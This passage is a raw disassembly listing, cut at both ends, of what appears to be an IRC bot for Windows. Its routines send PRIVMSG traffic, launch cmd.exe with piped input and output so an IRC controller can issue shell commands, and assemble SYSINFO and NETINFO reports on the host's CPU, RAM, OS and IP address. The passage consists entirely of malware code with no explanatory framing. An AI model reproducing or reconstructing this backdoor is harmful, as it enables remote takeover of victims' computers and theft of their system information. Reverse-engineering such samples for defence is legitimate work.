--------------------------------------------------------------------------- loc_40A55C: ; CODE XREF: sub_40A3A3+162j lea eax, [ebp+var_B0] push eax lea eax, [ebp+var_334] push offset dword_42B4E8 push eax call sub_4154E7 add esp, 0Ch cmp [ebp+var_18], edi jnz short loc_40A59C push edi lea eax, [ebp+var_334] push [ebp+var_1C] push eax lea eax, [ebp+var_130] push eax push [ebp+var_134] call sub_412D4C add esp, 14h loc_40A59C: ; CODE XREF: sub_40A3A3+1D7j lea eax, [ebp+var_334] push eax call sub_40B16D push [ebp+var_20] call sub_4152AF pop ecx pop ecx push edi call dword_421048 sub_40A3A3 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40A5B9 proc near ; CODE XREF: sub_40A5E9+2Ap ; sub_40A621+7Ep ... mov eax, dword_43A704 push esi mov esi, dword_42106C cmp eax, 0FFFFFFFFh jz short loc_40A5CD push eax call esi loc_40A5CD: ; CODE XREF: sub_40A5B9+Fj mov eax, dword_43A70C cmp eax, 0FFFFFFFFh jz short loc_40A5DA push eax call esi loc_40A5DA: ; CODE XREF: sub_40A5B9+1Cj mov eax, dword_43A700 cmp eax, 0FFFFFFFFh jz short loc_40A5E7 push eax call esi loc_40A5E7: ; CODE XREF: sub_40A5B9+29j pop esi retn sub_40A5B9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A5E9 proc near ; CODE XREF: sub_40B551+14Ap ; sub_40CE55+4507p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push [ebp+arg_0] call sub_415CF0 pop ecx mov [ebp+var_4], eax lea ecx, [ebp+var_4] push 0 push ecx push eax push [ebp+arg_0] push dword_43A708 call dword_421070 test eax, eax jnz short loc_40A61C call sub_40A5B9 xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_40A61C: ; CODE XREF: sub_40A5E9+28j push 1 pop eax leave retn sub_40A5E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A621 proc near ; CODE XREF: sub_40A6A8+D3p ; sub_40A6A8+F2p ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push offset byte_438FDC push [ebp+arg_4] call sub_415910 pop ecx test eax, eax pop ecx jz short loc_40A664 push 7D0h call dword_421060 push [ebp+arg_8] lea eax, [ebp+var_200] push [ebp+arg_4] push offset aPrivmsgSS ; "PRIVMSG %s :%s\r" push eax call sub_4154E7 add esp, 10h jmp short loc_40A67B ; --------------------------------------------------------------------------- loc_40A664: ; CODE XREF: sub_40A621+1Aj push [ebp+arg_8] lea eax, [ebp+var_200] push offset aS_1 ; "%s" push eax call sub_4154E7 add esp, 0Ch loc_40A67B: ; CODE XREF: sub_40A621+41j lea eax, [ebp+var_200] push 0 push eax call sub_415CF0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_43A408 test eax, eax jg short loc_40A6A4 call sub_40A5B9 loc_40A6A4: ; CODE XREF: sub_40A621+7Cj xor eax, eax leave retn sub_40A621 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A6A8 proc near ; DATA XREF: sub_40A7FD+170o var_20C = byte ptr -20Ch var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 20Ch push ebx push esi push edi mov esi, 200h xor edi, edi mov ebx, offset dword_43A710 loc_40A6C0: ; CODE XREF: sub_40A6A8+79j ; sub_40A6A8+DBj push esi lea eax, [ebp+var_20C] push edi push eax call sub_415570 add esp, 0Ch lea eax, [ebp+var_4] push edi push edi push eax lea eax, [ebp+var_20C] push esi push eax push dword_43A704 call dword_4210FC test eax, eax jz loc_40A78E cmp [ebp+var_4], edi jnz short loc_40A723 lea eax, [ebp+var_8] push eax push dword_43A700 call dword_421000 test eax, eax jz short loc_40A719 cmp [ebp+var_8], 103h jnz loc_40A7B2 loc_40A719: ; CODE XREF: sub_40A6A8+62j push 0Ah call dword_421060 jmp short loc_40A6C0 ; --------------------------------------------------------------------------- loc_40A723: ; CODE XREF: sub_40A6A8+4Ej xor eax, eax cmp [ebp+var_4], edi jbe short loc_40A73A loc_40A72A: ; CODE XREF: sub_40A6A8+90j cmp [ebp+eax+var_20C], 0Ah jz short loc_40A788 inc eax cmp eax, [ebp+var_4] jb short loc_40A72A loc_40A73A: ; CODE XREF: sub_40A6A8+80j mov [ebp+var_4], esi loc_40A73D: ; CODE XREF: sub_40A6A8+E4j push esi lea eax, [ebp+var_20C] push edi push eax call sub_415570 add esp, 0Ch lea eax, [ebp+var_C] push edi push eax push [ebp+var_4] lea eax, [ebp+var_20C] push eax push dword_43A704 call dword_421068 test eax, eax jz short loc_40A7DA lea eax, [ebp+var_20C] push eax push ebx push dword_43A744 call sub_40A621 add esp, 0Ch jmp loc_40A6C0 ; --------------------------------------------------------------------------- loc_40A788: ; CODE XREF: sub_40A6A8+8Aj inc eax mov [ebp+var_4], eax jmp short loc_40A73D ; --------------------------------------------------------------------------- loc_40A78E: ; CODE XREF: sub_40A6A8+45j push offset dword_42B5F4 push ebx push dword_43A744 call sub_40A621 push [ebp+arg_0] call sub_4152AF add esp, 10h push 1 call dword_421048 loc_40A7B2: ; CODE XREF: sub_40A6A8+6Bj call sub_40A5B9 push offset dword_42B5B8 push ebx push dword_43A744 call sub_40A621 push [ebp+arg_0] call sub_4152AF add esp, 10h push edi call dword_421048 loc_40A7DA: ; CODE XREF: sub_40A6A8+C3j push offset dword_42B574 push ebx push dword_43A744 call sub_40A621 push [ebp+arg_0] call sub_4152AF add esp, 10h push edi call dword_421048 sub_40A6A8 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A7FD proc near ; CODE XREF: sub_40B551+99p ; sub_40CE55+51BFp var_378 = byte ptr -378h var_178 = byte ptr -178h var_74 = dword ptr -74h var_48 = dword ptr -48h var_44 = word ptr -44h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = byte ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 378h push ebx push esi push edi call sub_40A5B9 xor esi, esi lea eax, [ebp+var_178] push esi push eax push 104h push esi push offset aCmd_exe ; "cmd.exe" push esi call dword_43A474 test eax, eax jz loc_40A8F7 push 1 lea eax, [ebp+var_1C] pop ebx mov edi, dword_421108 push esi push eax lea eax, [ebp+var_C] mov [ebp+var_1C], 0Ch push eax lea eax, [ebp+var_10] push eax mov [ebp+var_14], ebx mov [ebp+var_18], esi call edi test eax, eax jz loc_40A8F7 lea eax, [ebp+var_1C] push esi push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax call edi test eax, eax jz loc_40A8F7 mov edi, dword_421104 push 3 push esi push esi push offset dword_43A708 call edi push eax push [ebp+var_8] call edi push eax call dword_421100 test eax, eax jz short loc_40A8F7 push 10h loc_40A89A: ; DATA XREF: .nsp0:00424ED4o ; .nsp0:00424F18o ... lea eax, [ebp+var_2C] push esi push eax call sub_415570 push 44h lea eax, [ebp+var_74] pop edi push edi push esi push eax call sub_415570 mov eax, [ebp+var_4] add esp, 18h mov [ebp+var_3C], eax mov eax, [ebp+var_C] mov [ebp+var_38], eax mov [ebp+var_34], eax lea eax, [ebp+var_2C] mov [ebp+var_74], edi push eax lea eax, [ebp+var_74] push eax push esi push esi push esi push ebx push esi mov ebx, offset byte_438FDC push esi lea eax, [ebp+var_178] push ebx push eax mov [ebp+var_48], 101h mov [ebp+var_44], si call dword_4210EC test eax, eax jnz short loc_40A8FF loc_40A8F7: ; CODE XREF: sub_40A7FD+2Fj ; sub_40A7FD+5Cj ... or eax, 0FFFFFFFFh jmp loc_40A9AD ; --------------------------------------------------------------------------- loc_40A8FF: ; CODE XREF: sub_40A7FD+F8j push [ebp+var_4] mov edi, dword_42106C call edi mov eax, [ebp+var_10] push [ebp+var_28] mov dword_43A704, eax mov eax, [ebp+var_8] mov dword_43A70C, eax mov eax, [ebp+var_2C] mov dword_43A700, eax call edi mov eax, [ebp+arg_0] cmp [ebp+arg_4], esi mov dword_43A744, eax jz short loc_40A939 push [ebp+arg_4] jmp short loc_40A93A ; --------------------------------------------------------------------------- loc_40A939: ; CODE XREF: sub_40A7FD+135j push ebx loc_40A93A: ; CODE XREF: sub_40A7FD+13Aj push offset dword_43A710 call sub_4154E7 pop ecx pop ecx push esi push 7 push offset dword_42B680 call sub_414F93 mov edi, eax mov ecx, [ebp+var_24] imul edi, 234h add esp, 0Ch mov dword_43F550[edi], ecx lea ecx, [ebp+var_30] push ecx push esi push eax push offset sub_40A6A8 push esi push esi call dword_42108C cmp eax, esi mov dword_43F55C[edi], eax jnz short loc_40A9AB call dword_421088 push eax lea eax, [ebp+var_378] push offset dword_42B638 push eax call sub_4154E7 lea eax, [ebp+var_378] push eax call sub_40B16D add esp, 10h loc_40A9AB: ; CODE XREF: sub_40A7FD+185j xor eax, eax loc_40A9AD: ; CODE XREF: sub_40A7FD+FDj pop edi pop esi pop ebx leave retn sub_40A7FD endp ; =============== S U B R O U T I N E ======================================= sub_40A9B2 proc near ; CODE XREF: sub_407135+74p ; sub_40AAD1+217p ... arg_0 = dword ptr 4 push ebx push ebp push esi push edi call dword_42104C xor edx, edx mov ecx, 3E8h div ecx mov ebx, 15180h xor edx, edx mov esi, ebx mov edi, 0E10h mov ebp, edi push 3Ch mov ecx, eax sub ecx, [esp+14h+arg_0] mov eax, ecx div esi mov esi, edx xor edx, edx mov eax, esi div ebp pop ebp mov eax, edx xor edx, edx div ebp xor edx, edx push eax mov eax, esi div edi xor edx, edx mov esi, offset dword_43A74C push eax mov eax, ecx div ebx push eax push offset aDdDhDm ; "%dd %dh %dm" push 32h push esi call sub_415A6A add esp, 18h mov eax, esi pop edi pop esi pop ebp pop ebx retn sub_40A9B2 endp ; =============== S U B R O U T I N E ======================================= sub_40AA1B proc near ; CODE XREF: sub_40AAD1+290p push ebx push esi push edi mov esi, 0F4240h loc_40AA23: ; CODE XREF: sub_40AA1B+2Fj ; sub_40AA1B+35j rdtsc push 3E8h mov edi, edx mov ebx, eax call dword_421060 rdtsc sub eax, ebx push 0 sbb edx, edi push esi push edx push eax call sub_4172E0 mov edi, edx mov ebx, eax test edi, edi ja short loc_40AA23 jb short loc_40AA52 cmp ebx, esi ja short loc_40AA23 loc_40AA52: ; CODE XREF: sub_40AA1B+31j push 0 push 64h push edi push ebx call sub_417260 mov ecx, edx push 64h xor edx, edx mov esi, eax test ecx, ecx pop eax ja short loc_40AAC5 jb short loc_40AA71 cmp esi, 50h jnb short loc_40AA76 loc_40AA71: ; CODE XREF: sub_40AA1B+4Fj push 4Bh xor edx, edx pop eax loc_40AA76: ; CODE XREF: sub_40AA1B+54j test ecx, ecx ja short loc_40AAC5 jb short loc_40AA81 cmp esi, 47h jnb short loc_40AA86 loc_40AA81: ; CODE XREF: sub_40AA1B+5Fj push 42h xor edx, edx pop eax loc_40AA86: ; CODE XREF: sub_40AA1B+64j test ecx, ecx ja short loc_40AAC5 jb short loc_40AA91 cmp esi, 37h jnb short loc_40AA96 loc_40AA91: ; CODE XREF: sub_40AA1B+6Fj push 32h xor edx, edx pop eax loc_40AA96: ; CODE XREF: sub_40AA1B+74j test ecx, ecx ja short loc_40AAC5 jb short loc_40AAA1 cmp esi, 26h jnb short loc_40AAA6 loc_40AAA1: ; CODE XREF: sub_40AA1B+7Fj push 21h xor edx, edx pop eax loc_40AAA6: ; CODE XREF: sub_40AA1B+84j test ecx, ecx ja short loc_40AAC5 jb short loc_40AAB1 cmp esi, 1Eh jnb short loc_40AAB6 loc_40AAB1: ; CODE XREF: sub_40AA1B+8Fj push 19h xor edx, edx pop eax loc_40AAB6: ; CODE XREF: sub_40AA1B+94j test ecx, ecx ja short loc_40AAC5 jb short loc_40AAC1 cmp esi, 0Ah jnb short loc_40AAC5 loc_40AAC1: ; CODE XREF: sub_40AA1B+9Fj xor eax, eax xor edx, edx loc_40AAC5: ; CODE XREF: sub_40AA1B+4Dj ; sub_40AA1B+5Dj ... sub eax, esi sbb edx, ecx add eax, ebx adc edx, edi pop edi pop esi pop ebx retn sub_40AA1B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AAD1 proc near ; CODE XREF: sub_40CE55+541Fp var_7E8 = byte ptr -7E8h var_668 = byte ptr -668h var_5E8 = byte ptr -5E8h var_568 = byte ptr -568h var_4E8 = byte ptr -4E8h var_3E4 = byte ptr -3E4h var_2E8 = byte ptr -2E8h var_25C = word ptr -25Ch var_25A = byte ptr -25Ah var_15C = byte ptr -15Ch var_114 = byte ptr -114h var_CC = dword ptr -0CCh var_C8 = dword ptr -0C8h var_C4 = dword ptr -0C4h var_C0 = dword ptr -0C0h var_BC = dword ptr -0BCh var_B8 = byte ptr -0B8h var_38 = byte ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7E8h push ebx push esi lea eax, [ebp+var_CC] push edi push eax mov [ebp+var_4], offset byte_438FDC mov [ebp+var_CC], 94h call dword_42110C xor ebx, ebx cmp [ebp+var_C8], 4 jnz short loc_40AB58 cmp [ebp+var_C4], ebx jnz short loc_40AB34 cmp [ebp+var_BC], 1 jnz short loc_40AB1E mov [ebp+var_4], offset a95 ; "95" loc_40AB1E: ; CODE XREF: sub_40AAD1+44j cmp [ebp+var_BC], 2 jnz loc_40ABD3 mov [ebp+var_4], offset aNt ; "NT" jmp short loc_40ABA4 ; --------------------------------------------------------------------------- loc_40AB34: ; CODE XREF: sub_40AAD1+3Bj cmp [ebp+var_C4], 0Ah jnz short loc_40AB46 mov [ebp+var_4], offset a98 ; "98" jmp short loc_40AB9B ; --------------------------------------------------------------------------- loc_40AB46: ; CODE XREF: sub_40AAD1+6Aj cmp [ebp+var_C4], 5Ah jnz short loc_40AB94 mov [ebp+var_4], offset aMe ; "ME" jmp short loc_40AB9B ; --------------------------------------------------------------------------- loc_40AB58: ; CODE XREF: sub_40AAD1+33j cmp [ebp+var_C8], 5 jnz short loc_40AB94 cmp [ebp+var_C4], ebx jnz short loc_40AB72 mov [ebp+var_4], offset a2k ; "2K" jmp short loc_40AB9B ; --------------------------------------------------------------------------- loc_40AB72: ; CODE XREF: sub_40AAD1+96j cmp [ebp+var_C4], 1 jnz short loc_40AB84 mov [ebp+var_4], offset aXp ; "XP" jmp short loc_40AB9B ; --------------------------------------------------------------------------- loc_40AB84: ; CODE XREF: sub_40AAD1+A8j cmp [ebp+var_C4], 2 mov [ebp+var_4], offset a2003 ; "2003" jz short loc_40AB9B loc_40AB94: ; CODE XREF: sub_40AAD1+7Cj ; sub_40AAD1+8Ej mov [ebp+var_4], offset dword_42B7D0 loc_40AB9B: ; CODE XREF: sub_40AAD1+73j ; sub_40AAD1+85j ... cmp [ebp+var_BC], 2 jnz short loc_40ABD3 loc_40ABA4: ; CODE XREF: sub_40AAD1+61j cmp [ebp+var_B8], bl jz short loc_40ABD3 lea eax, [ebp+var_B8] push eax lea eax, [ebp+var_2E8] push [ebp+var_4] push offset dword_42B7C8 push eax call sub_4154E7 lea eax, [ebp+var_2E8] add esp, 10h mov [ebp+var_4], eax loc_40ABD3: ; CODE XREF: sub_40AAD1+54j ; sub_40AAD1+D1j ... mov ax, word_42B7C4 push 3Fh mov [ebp+var_25C], ax pop ecx xor eax, eax lea edi, [ebp+var_25A] rep stosd stosw mov eax, dword_43A2A4 mov [ebp+var_C], 100h cmp eax, ebx jz short loc_40AC0C lea ecx, [ebp+var_C] push ecx lea ecx, [ebp+var_25C] push ecx call eax loc_40AC0C: ; CODE XREF: sub_40AAD1+12Cj push [ebp+arg_4] call sub_40A171 pop ecx push eax call dword_43A3F8 mov [ebp+var_8], eax push 2 lea eax, [ebp+var_8] push 4 push eax call dword_43A370 cmp eax, ebx jz short loc_40AC35 push dword ptr [eax] jmp short loc_40AC3A ; --------------------------------------------------------------------------- loc_40AC35: ; CODE XREF: sub_40AAD1+15Ej push offset aCouldnTResolve ; "couldn't resolve host" loc_40AC3A: ; CODE XREF: sub_40AAD1+162j lea eax, [ebp+var_3E4] push eax call sub_4154E7 pop ecx lea eax, [ebp+var_4E8] pop ecx push 104h push eax call dword_421058 lea eax, [ebp+var_114] push 46h push eax push offset aDdMmmYyyy ; "dd:MMM:yyyy" push ebx mov esi, 409h push ebx push esi call dword_421084 lea eax, [ebp+var_15C] push 46h push eax push offset aHhMmSs ; "HH:mm:ss" push ebx push ebx push esi call dword_421080 push 20h lea eax, [ebp+var_38] push ebx push eax call sub_415570 add esp, 0Ch lea eax, [ebp+var_38] push eax call dword_421110 push ebx push ebx lea eax, [ebp+var_18] push ebx push eax lea eax, [ebp+var_4E8] push eax call sub_417348 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_7E8] push eax call sub_40C328 push 60h mov esi, eax pop ecx lea edi, [ebp+var_7E8] rep movsd push 60h lea esi, [ebp+var_7E8] pop ecx lea edi, [ebp+var_668] rep movsd push ebx call sub_40A9B2 add esp, 20h push eax lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_114] push eax lea eax, [ebp+var_25C] push eax push [ebp+arg_4] call sub_40A171 pop ecx push eax lea eax, [ebp+var_3E4] push eax lea eax, [ebp+var_4E8] push eax lea eax, [ebp+var_5E8] push [ebp+var_C0] push [ebp+var_C4] push [ebp+var_C8] push [ebp+var_4] push eax lea eax, [ebp+var_568] push eax mov eax, [ebp+var_2C] shr eax, 0Ah push ebx push eax call sub_40C218 pop ecx pop ecx push eax mov eax, [ebp+var_30] shr eax, 0Ah push ebx push eax call sub_40C218 pop ecx pop ecx push eax call sub_40AA1B push edx push eax push offset aSysinfoCpuI64u ; "[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB"... push 200h push [ebp+arg_0] call sub_415A6A mov eax, [ebp+arg_0] add esp, 50h pop edi pop esi pop ebx leave retn sub_40AAD1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AD85 proc near ; CODE XREF: sub_40CE55+4422p ; sub_40CE55+544Dp var_8C = byte ptr -8Ch var_C = byte ptr -0Ch var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8Ch push esi mov esi, 80h push esi lea eax, [ebp+var_8C] push 0 push eax call sub_415570 add esp, 0Ch cmp dword_43A4A0, 0 jnz short loc_40ADF9 push 0 lea eax, [ebp+var_8C] push esi push eax lea eax, [ebp+var_C] push eax call dword_43A288 test eax, eax jnz short loc_40ADDA lea eax, [ebp+var_8C] push offset dword_42B844 push eax call sub_4154E7 pop ecx pop ecx loc_40ADDA: ; CODE XREF: sub_40AD85+40j test [ebp+var_C], 1 jz short loc_40ADF2 push offset dword_42B83C loc_40ADE5: ; CODE XREF: sub_40AD85+72j lea eax, [ebp+var_8] push eax call sub_4154E7 pop ecx pop ecx jmp short loc_40AE18 ; --------------------------------------------------------------------------- loc_40ADF2: ; CODE XREF: sub_40AD85+59j push offset dword_42B838 jmp short loc_40ADE5 ; --------------------------------------------------------------------------- loc_40ADF9: ; CODE XREF: sub_40AD85+28j mov esi, offset off_42B834 lea eax, [ebp+var_8] push esi push eax call sub_4154E7 lea eax, [ebp+var_8C] push esi push eax call sub_4154E7 add esp, 10h loc_40AE18: ; CODE XREF: sub_40AD85+6Bj push [ebp+arg_4] push [ebp+arg_8] call sub_40A171 pop ecx push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_8] push eax push offset aNetinfoTypeSS_ ; "[NETINFO]: [Type]: %s (%s). [IP Address"... push 200h push [ebp+arg_0] call sub_415A6A mov eax, [ebp+arg_0] add esp, 1Ch pop esi leave retn sub_40AD85 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AE4B proc near ; DATA XREF: sub_40CE55+45F7o var_65C = byte ptr -65Ch var_55C = byte ptr -55Ch var_35C = dword ptr -35Ch var_358 = byte ptr -358h var_2D8 = byte ptr -2D8h var_258 = byte ptr -258h var_1D8 = dword ptr -1D8h var_1D4 = dword ptr -1D4h var_1D0 = dword ptr -1D0h var_1C8 = byte ptr -1C8h var_148 = byte ptr -148h var_C8 = byte ptr -0C8h var_48 = dword ptr -48h var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 65Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 65h mov esi, eax pop ecx lea edi, [ebp+var_35C] rep movsd push 1 mov edi, 80h pop esi xor ebx, ebx mov [eax+190h], esi push edi lea eax, [ebp+var_148] push ebx push eax mov [ebp+var_C], ebx mov [ebp+var_4], ebx mov [ebp+var_8], offset dword_42B988 call sub_415570 push edi lea eax, [ebp+var_1C8] push ebx push eax call sub_415570 push edi lea eax, [ebp+var_C8] push ebx push eax call sub_415570 push 100h lea eax, [ebp+var_65C] push ebx push eax call sub_415570 push 3Ch lea eax, [ebp+var_48] pop edi push edi push ebx push eax call sub_415570 add esp, 3Ch lea eax, [ebp+var_48] mov [ebp+var_48], edi mov [ebp+var_34], esi push eax lea eax, [ebp+var_358] push ebx push eax mov [ebp+var_28], esi mov [ebp+var_20], esi mov [ebp+var_18], esi call sub_415CF0 pop ecx push eax lea eax, [ebp+var_358] push eax call dword_43A2C0 test eax, eax jz loc_40AFE5 cmp [ebp+var_34], ebx jbe short loc_40AF22 push [ebp+var_34] lea eax, [ebp+var_148] push [ebp+var_38] push eax call sub_416D40 add esp, 0Ch loc_40AF22: ; CODE XREF: sub_40AE4B+C0j cmp [ebp+var_28], ebx movzx esi, [ebp+var_30] jbe short loc_40AF40 push [ebp+var_28] lea eax, [ebp+var_1C8] push [ebp+var_2C] push eax call sub_416D40 add esp, 0Ch loc_40AF40: ; CODE XREF: sub_40AE4B+DEj cmp [ebp+var_20], ebx jbe short loc_40AF5A push [ebp+var_20] lea eax, [ebp+var_C8] push [ebp+var_24] push eax call sub_416D40 add esp, 0Ch loc_40AF5A: ; CODE XREF: sub_40AE4B+F8j cmp [ebp+var_18], ebx jbe short loc_40AF74 push [ebp+var_18] lea eax, [ebp+var_65C] push [ebp+var_1C] push eax call sub_416D40 add esp, 0Ch loc_40AF74: ; CODE XREF: sub_40AE4B+112j push ebx push ebx lea eax, [ebp+var_C8] push 3 push eax lea eax, [ebp+var_1C8] push eax lea eax, [ebp+var_148] push esi push eax push dword_43A368 call dword_43A38C mov esi, eax cmp esi, ebx jz short loc_40AFFD push ebx lea eax, [ebp+var_8] push 200h push eax lea eax, [ebp+var_2D8] push eax lea eax, [ebp+var_65C] push ebx push eax push ebx push esi call dword_43A380 cmp eax, ebx mov [ebp+var_4], eax jz short loc_40B004 push ebx push ebx push ebx push ebx push eax call dword_43A334 test eax, eax jz short loc_40AFDE push offset dword_42B958 jmp short loc_40B009 ; --------------------------------------------------------------------------- loc_40AFDE: ; CODE XREF: sub_40AE4B+18Aj push offset unk_42B908 jmp short loc_40B009 ; --------------------------------------------------------------------------- loc_40AFE5: ; CODE XREF: sub_40AE4B+B7j lea eax, [ebp+var_55C] push offset dword_42B8D8 push eax call sub_4154E7 mov esi, [ebp+var_C] pop ecx pop ecx jmp short loc_40B017 ; --------------------------------------------------------------------------- loc_40AFFD: ; CODE XREF: sub_40AE4B+153j push offset unk_42B898 jmp short loc_40B009 ; --------------------------------------------------------------------------- loc_40B004: ; CODE XREF: sub_40AE4B+17Bj push offset unk_42B854 loc_40B009: ; CODE XREF: sub_40AE4B+191j ; sub_40AE4B+198j ... lea eax, [ebp+var_55C] push eax call sub_4154E7 pop ecx pop ecx loc_40B017: ; CODE XREF: sub_40AE4B+1B0j cmp [ebp+var_1D4], ebx jnz short loc_40B042 push ebx lea eax, [ebp+var_55C] push [ebp+var_1D0] push eax lea eax, [ebp+var_258] push eax push [ebp+var_35C] call sub_412D4C add esp, 14h loc_40B042: ; CODE XREF: sub_40AE4B+1D2j lea eax, [ebp+var_55C] push eax call sub_40B16D pop ecx push esi call dword_43A3EC push [ebp+var_4] call dword_43A3EC push [ebp+var_1D8] call sub_4152AF pop ecx push ebx call dword_421048 pop edi pop esi pop ebx sub_40AE4B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B075 proc near ; CODE XREF: sub_40CE55+4355p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push esi push edi mov esi, offset dword_43E7C8 mov edi, 0B8h loc_40B089: ; CODE XREF: sub_40B075+33j cmp byte ptr [esi], 0 jz short loc_40B0AC push [ebp+arg_0] push esi call sub_415910 pop ecx test eax, eax pop ecx jz short loc_40B0AC inc [ebp+var_4] add esi, edi cmp esi, offset dword_43F348 jl short loc_40B089 jmp short loc_40B0EE ; --------------------------------------------------------------------------- loc_40B0AC: ; CODE XREF: sub_40B075+17j ; sub_40B075+26j mov esi, [ebp+var_4] push ebx imul esi, 0B8h push edi push 0 lea ebx, dword_43E7C8[esi] push ebx call sub_415570 push 17h push [ebp+arg_0] push ebx call sub_416D40 push 9Fh lea eax, dword_43E7E0[esi] push [ebp+arg_4] push eax call sub_416D40 add esp, 24h inc dword_42E7B8 pop ebx loc_40B0EE: ; CODE XREF: sub_40B075+35j mov eax, [ebp+var_4] pop edi pop esi leave retn sub_40B075 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B0F5 proc near ; CODE XREF: sub_40CE55+5588p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push esi push edi push 0 push [ebp+arg_8] push offset dword_42B998 push [ebp+arg_4] push [ebp+arg_0] call sub_412D4C add esp, 14h xor edi, edi mov esi, offset dword_43E7C8 loc_40B11F: ; CODE XREF: sub_40B0F5+72j cmp byte ptr [esi], 0 jz short loc_40B15A lea eax, [esi+18h] push eax push esi push edi push offset dword_42B98C lea eax, [ebp+var_200] push 200h push eax call sub_415A6A push 1 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_412D4C add esp, 2Ch loc_40B15A: ; CODE XREF: sub_40B0F5+2Dj add esi, 0B8h inc edi cmp esi, offset dword_43F348 jl short loc_40B11F pop edi pop esi leave retn sub_40B0F5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B16D proc near ; CODE XREF: sub_401000+97p ; sub_4010B2+314p ... var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h push ebx push esi lea eax, [ebp+var_10] push edi push eax call dword_42105C mov ebx, offset dword_43E784 mov edi, 80h mov esi, offset dword_43A784 loc_40B18F: ; CODE XREF: sub_40B16D+3Dj cmp byte ptr [ebx], 0 jz short loc_40B1A6 push 7Fh lea eax, [ebx+80h] push ebx push eax call sub_416D40 add esp, 0Ch loc_40B1A6: ; CODE XREF: sub_40B16D+25j sub ebx, edi cmp ebx, esi jge short loc_40B18F movzx eax, [ebp+var_4] push [ebp+arg_0] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_10] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s" push edi push esi call sub_415A6A add esp, 28h pop edi pop esi pop ebx leave retn sub_40B16D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B1E1 proc near ; CODE XREF: sub_407BFE+15Bp ; sub_407D86+1AFp ... var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 80h lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_80] push [ebp+arg_0] push 80h push eax call sub_41748F lea eax, [ebp+var_80] push eax call sub_40B16D add esp, 14h leave retn sub_40B1E1 endp ; =============== S U B R O U T I N E ======================================= sub_40B20D proc near ; CODE XREF: sub_40CE55+5482p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, offset dword_43A784 xor ecx, ecx loc_40B214: ; CODE XREF: sub_40B20D+13j mov [eax], cl add eax, 80h cmp eax, offset dword_43E784 jl short loc_40B214 cmp [esp+arg_C], ecx push esi mov esi, offset dword_42B9CC jnz short loc_40B244 push ecx push [esp+8+arg_8] push esi push [esp+10h+arg_4] push [esp+14h+arg_0] call sub_412D4C add esp, 14h loc_40B244: ; CODE XREF: sub_40B20D+1Fj push esi call sub_40B16D pop ecx pop esi retn sub_40B20D endp ; =============== S U B R O U T I N E ======================================= sub_40B24D proc near ; CODE XREF: 